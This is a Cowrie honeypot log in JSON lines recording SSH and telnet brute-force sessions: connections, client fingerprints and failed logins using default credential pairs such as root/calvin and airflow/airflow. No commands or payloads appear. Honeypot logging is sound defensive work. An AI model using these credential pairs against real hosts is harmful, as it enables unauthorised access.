{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":53832,"dst_ip":"159.203.135.109","dst_port":23,"session":"2407592d53e1","protocol":"telnet","message":"New connection: 172.81.62.90:53832 (159.203.135.109:23) [session: 2407592d53e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:32.990751Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":19490,"dst_ip":"10.17.0.5","dst_port":22,"session":"aacbace99ef0","protocol":"ssh","message":"New connection: 45.153.34.195:19490 (10.17.0.5:22) [session: aacbace99ef0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:32.996459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:33.007549Z","src_ip":"45.153.34.195","session":"aacbace99ef0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:33.080683Z","src_ip":"45.153.34.195","session":"aacbace99ef0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"wasd","message":"login attempt [debian/wasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:33.382132Z","src_ip":"91.92.40.36","session":"37eda225958c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:33.437508Z","src_ip":"201.17.146.173","session":"984a4c30aca6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"calvin","message":"login attempt [root/calvin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:33.443178Z","src_ip":"45.153.34.195","session":"aacbace99ef0","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:33.542079Z","src_ip":"91.92.40.36","session":"6e2afa5bc4cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:33.544903Z","src_ip":"91.92.40.36","session":"6e2afa5bc4cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:34.526968Z","src_ip":"45.153.34.195","session":"aacbace99ef0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":51102,"dst_ip":"159.203.135.109","dst_port":22,"session":"340b1645ce1c","protocol":"ssh","message":"New connection: 91.92.40.36:51102 (159.203.135.109:22) [session: 340b1645ce1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:34.809638Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@234","message":"login attempt [root/admin@234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:35.318410Z","src_ip":"27.71.230.31","session":"79ba80630fd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:35.692851Z","src_ip":"201.17.146.173","session":"984a4c30aca6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":19496,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d98d26e6f83","protocol":"ssh","message":"New connection: 45.153.34.195:19496 (10.17.0.5:22) [session: 2d98d26e6f83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:36.036995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:36.041831Z","src_ip":"45.153.34.195","session":"2d98d26e6f83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:36.132472Z","src_ip":"45.153.34.195","session":"2d98d26e6f83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow","message":"login attempt [airflow/airflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:36.380407Z","src_ip":"45.153.34.195","session":"2d98d26e6f83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex2024","message":"login attempt [alex/alex2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:36.428845Z","src_ip":"201.17.146.173","session":"984a4c30aca6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.4","message":"Connection lost after 12.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:36.805696Z","src_ip":"91.92.40.36","session":"37eda225958c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:37.133606Z","src_ip":"91.92.40.36","session":"340b1645ce1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:37.137061Z","src_ip":"91.92.40.36","session":"340b1645ce1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:37.342468Z","src_ip":"27.71.230.31","session":"79ba80630fd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:37.471595Z","src_ip":"45.153.34.195","session":"2d98d26e6f83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:37.587670Z","src_ip":"201.17.146.173","session":"984a4c30aca6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":19508,"dst_ip":"10.17.0.5","dst_port":22,"session":"d96548884378","protocol":"ssh","message":"New connection: 45.153.34.195:19508 (10.17.0.5:22) [session: d96548884378]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:39.015207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:39.055151Z","src_ip":"45.153.34.195","session":"d96548884378","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:39.145717Z","src_ip":"45.153.34.195","session":"d96548884378","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password","message":"login attempt [deploy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:39.487766Z","src_ip":"45.153.34.195","session":"d96548884378","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":54614,"dst_ip":"159.203.135.109","dst_port":22,"session":"745381855cbc","protocol":"ssh","message":"New connection: 91.92.40.36:54614 (159.203.135.109:22) [session: 745381855cbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:39.791053Z"}
{"eventid":"cowrie.login.failed","username":"vtatis","password":"123456","message":"login attempt [vtatis/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:40.039325Z","src_ip":"91.92.40.36","session":"199620951ebe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:40.612273Z","src_ip":"45.153.34.195","session":"d96548884378","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.10840702056885,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:41.332496Z","src_ip":"128.199.8.54","session":"f8165a6f0d83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":19522,"dst_ip":"10.17.0.5","dst_port":22,"session":"900da654c009","protocol":"ssh","message":"New connection: 45.153.34.195:19522 (10.17.0.5:22) [session: 900da654c009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:41.922564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:42.082374Z","src_ip":"45.153.34.195","session":"900da654c009","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:42.090000Z","src_ip":"45.153.34.195","session":"900da654c009","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:42.146281Z","src_ip":"91.92.40.36","session":"745381855cbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:42.149453Z","src_ip":"91.92.40.36","session":"745381855cbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nominatim","password":"1234","message":"login attempt [nominatim/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:42.610366Z","src_ip":"45.153.34.195","session":"900da654c009","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:43.780619Z","src_ip":"45.153.34.195","session":"900da654c009","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.9","message":"Connection lost after 22.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:44.084983Z","src_ip":"91.92.40.36","session":"199620951ebe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":20576,"dst_ip":"10.17.0.5","dst_port":22,"session":"33155f2b18eb","protocol":"ssh","message":"New connection: 45.153.34.195:20576 (10.17.0.5:22) [session: 33155f2b18eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:44.962764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:44.968354Z","src_ip":"45.153.34.195","session":"33155f2b18eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shadi","password":"shadi","message":"login attempt [shadi/shadi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:58:45.072593Z","src_ip":"91.92.40.36","session":"340b1645ce1c","protocol":"ssh"}
